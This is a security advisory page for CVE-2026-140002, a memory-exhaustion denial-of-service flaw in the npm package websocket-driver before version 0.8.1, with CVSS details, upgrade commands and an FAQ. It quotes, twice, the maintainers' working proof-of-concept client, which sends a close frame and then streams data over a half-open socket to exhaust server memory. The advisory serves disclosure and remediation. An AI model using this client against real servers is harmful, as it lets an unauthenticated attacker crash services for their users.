CVE-2026-140002: websocket-driver Memory Exhaustion Triggered By Buffering Vulnerability

HIGH
Advisory Identifier: GHSA-v674-7268-hvqh
CVSS 7.5
CWE-770
Published
Advisory Summary

CVE-2026-140002 is a HIGH (CVSS 7.5) memory exhaustion triggered by buffering vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting websocket-driver libraries in the npm ecosystem. The issue involves memory exhaustion triggered by buffering of data received after socket is closed. Remediation is available by upgrading affected packages to version 0.8.1.

CVE-2026-140002 at a Glance

CVE Identifier CVE-2026-140002
GHSA Identifier GHSA-v674-7268-hvqh
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product websocket-driver
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-140002

To remediate this vulnerability, upgrade all affected websocket-driver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

websocket-driver fixed: 0.8.1
npm install websocket-driver@0.8.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls websocket-driver

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-140002, inspect your project dependencies using npm:

npm ls websocket-driver

Analyze the terminal output to locate any version of websocket-driver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.1), your application is affected.

Note: The npm ls websocket-driver command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In websocket-driver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A WebSocket server implemented using `websocket-driver` can be made to buffer data in memory indefinitely by a client that connects, sends a single close frame, and then leaves its side of the connection open while it continues to send more data over the connection. ### Details When used as documented, a server handles WebSocket connections by piping all bytes received over a TCP socket into the `driver` object provided by this library. On receipt of a WebSocket close frame, the driver emits a `close` event, which the caller should handle by closing the TCP socket. However, since TCP allows sockets to remain half-open, the client can keep its side of the socket open and keep sending data. Due to the state the driver enters after the `close` event, this data will be buffered in memory but never consumed by the parser. An attacker can exploit this by sending an indefinite stream of bytes over the socket until it causes the server to run out of memory. This has been mitigated by destroying the buffer when the socket undergoes any failure event, including an explicit close. The buffer is dereferenced and no further data will be added to it, and it should eventually be garbage collected along with the rest of the connection objects. ### Proof of concept Given a server accepting WebSocket connections using `websocket-driver`: ```js const net = require("net") const websocket = require("websocket-driver") const server = net.createServer((connection) => { let driver = websocket.server({ maxLength: 1024 }) driver.on("connect", () => { if (websocket.isWebSocket(driver)) driver.start() }) driver.on("close", () => connection.end()) connection.pipe(driver.io).pipe(connection) }) server.listen(5083, "127.0.0.1") ``` A client can connect to this server, send a WebSocket close frame, and then keep sending more data over the same connection, after the server has closed its side of the connection. ```js const net = require("net") let socket = net.connect({ port: 5083, host: "127.0.0.1", allowHalfOpen: true }) socket.write( "GET / HTTP/1.1\r\n" + "Host: 127.0.0.1\r\n" + "Connection: Upgrade\r\n" + "Upgrade: websocket\r\n" + `Sec-WebSocket-Key: ${btoa("the sample nonce")}\r\n` + "Sec-WebSocket-Version: 13\r\n" + "\r\n" ) socket.once("data", () => { // masked Close frame, empty payload socket.write(Buffer.from([0x88, 0x80, 0x00, 0x00, 0x00, 0x00])) // send arbitrary data let chunk = Buffer.alloc(2 ** 20) setInterval(() => socket.write(chunk), 100) }) ``` If this client is left running, the server's memory use will continue to grow indefinitely. ### Impact A server using `websocket-driver` can be made to run out of memory and crash by an unauthenticated remote attacker by sending sufficient data over a single socket.

CVE-2026-140002 Affected websocket-driver Versions

1 component(s)
Fixed Versions:
0.8.1
Product / Package Ecosystem Affected Versions Fixed Version
websocket-driver
npm
< 0.8.1
0.8.1

References

Frequently Asked Questions

What is CVE-2026-140002?
CVE-2026-140002 is a security vulnerability in websocket-driver involving Memory exhaustion triggered by buffering of data received after socket is closed under CWE-770: Allocation of Resources Without Limits or Throttling.
Which websocket-driver versions are affected?
Affected versions include releases prior to 0.8.1 across affected packages: websocket-driver.
What version fixes CVE-2026-140002?
Upgrading to 0.8.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is websocket-driver affected?
Yes, websocket-driver is affected in releases prior to 0.8.1. Upgrade your dependency to 0.8.1 or later.
What is the CVSS score of CVE-2026-140002?
CVE-2026-140002 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-140002?
CVE-2026-140002 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check npm dependencies for CVE-2026-140002?
Run the dependency tree command: 'npm ls websocket-driver'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v674-7268-hvqh",
  "modified" : "2026-12-01T19:10:57Z",
  "published" : "2026-12-01T19:10:56Z",
  "aliases" : [ "CVE-2026-140002" ],
  "summary" : "websocket-driver: Memory exhaustion triggered by buffering of data received after socket is closed",
  "details" : "### Summary\n\nA WebSocket server implemented using `websocket-driver` can be made to buffer data in memory indefinitely by a client that connects, sends a single close frame, and then leaves its side of the connection open while it continues to send more data over the connection.\n\n### Details\n\nWhen used as documented, a server handles WebSocket connections by piping all bytes received over a TCP socket into the `driver` object provided by this library. On receipt of a WebSocket close frame, the driver emits a `close` event, which the caller should handle by closing the TCP socket. However, since TCP allows sockets to remain half-open, the client can keep its side of the socket open and keep sending data. Due to the state the driver enters after the `close` event, this data will be buffered in memory but never consumed by the parser. An attacker can exploit this by sending an indefinite stream of bytes over the socket until it causes the server to run out of memory.\n\nThis has been mitigated by destroying the buffer when the socket undergoes any failure event, including an explicit close. The buffer is dereferenced and no further data will be added to it, and it should eventually be garbage collected along with the rest of the connection objects.\n\n### Proof of concept\n\nGiven a server accepting WebSocket connections using `websocket-driver`:\n\n```js\nconst net = require(\"net\")\nconst websocket = require(\"websocket-driver\")\n\nconst server = net.createServer((connection) => {\n  let driver = websocket.server({ maxLength: 1024 })\n\n  driver.on(\"connect\", () => {\n    if (websocket.isWebSocket(driver)) driver.start()\n  })\n\n  driver.on(\"close\", () => connection.end())\n  connection.pipe(driver.io).pipe(connection)\n})\n\nserver.listen(5083, \"127.0.0.1\")\n```\n\nA client can connect to this server, send a WebSocket close frame, and then keep sending more data over the same connection, after the server has closed its side of the connection.\n\n```js\nconst net = require(\"net\")\n\nlet socket = net.connect({ port: 5083, host: \"127.0.0.1\", allowHalfOpen: true })\n\nsocket.write(\n  \"GET / HTTP/1.1\\r\\n\" +\n  \"Host: 127.0.0.1\\r\\n\" +\n  \"Connection: Upgrade\\r\\n\" +\n  \"Upgrade: websocket\\r\\n\" +\n  `Sec-WebSocket-Key: ${btoa(\"the sample nonce\")}\\r\\n` +\n  \"Sec-WebSocket-Version: 13\\r\\n\" +\n  \"\\r\\n\"\n)\n\nsocket.once(\"data\", () => {\n  // masked Close frame, empty payload\n  socket.write(Buffer.from([0x88, 0x80, 0x00, 0x00, 0x00, 0x00]))\n  \n  // send arbitrary data\n  let chunk = Buffer.alloc(2 ** 20)\n  setInterval(() => socket.write(chunk), 100)\n})\n```\n\nIf this client is left running, the server's memory use will continue to grow indefinitely.\n\n### Impact\n\nA server using `websocket-driver` can be made to run out of memory and crash by an unauthenticated remote attacker by sending sufficient data over a single socket.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "websocket-driver"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/faye/websocket-driver-node/security/advisories/GHSA-v674-7268-hvqh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140002"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/faye/websocket-driver-node/commit/189e7b7e75d49e61f2589da995de6e7323db6284"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/faye/websocket-driver-node"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-01T19:10:56Z",
    "nvd_published_at" : "2026-11-30T22:17:29Z"
  }
}